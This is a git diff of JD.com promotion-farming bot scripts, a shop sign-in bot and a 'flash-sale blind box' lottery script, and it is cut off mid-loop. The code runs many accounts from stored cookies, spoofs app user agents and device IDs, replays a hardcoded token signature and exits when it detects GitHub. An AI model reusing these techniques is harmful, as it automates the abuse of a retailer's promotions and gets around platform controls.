lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.activityId = data.data.activityId; + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.shopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'sign/sevenDay/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.signResult.giftName) { + console.log(data.signResult.giftName); + } + } else { + console.log(data.msg); + } + } + break + case 'sign/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.gift.giftName) { + console.log(data.gift.giftName); + } + } else { + console.log(data.msg); + } + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkj-isv.isvjcloud.com/${function_id}` : `https://lzkj-isv.isvjcloud.com/sign/wx/${function_id}`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function taskUrl2(function_id, body, isCommon) { + return { + url: isCommon ? `https://cjhy-isv.isvjcloud.com/${function_id}` : `https://cjhy-isv.isvjcloud.com/sign/wx/${function_id}`, + headers: { + Host: 'cjhy-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://cjhy-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getMyPing2() { + let opt = { + url: `https://cjhy-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'cjhy-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://cjhy-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_sgmh.js b/jd_sgmh.js new file mode 100644 index 0000000..4607a25 --- /dev/null +++ b/jd_sgmh.js @@ -0,0 +1,384 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "20 8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒 +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +============小火箭========= +闪购盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('闪购盲盒'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 +const inviteCodes = [ + '', + '', +]; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + await TotalBean(); + await shareCodesFormat(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await interact_template_getHomeData() + await showMsg(); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore + if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + //console.log(scorePerLottery) + for (let i = 0;i < data.data.result.taskVos.length;i ++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + for (let code of $.newShareCodes) { + if (!code) continue + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000) + } + } + else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖') + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); + } + } + else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { + //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) + for (let j = 0;j 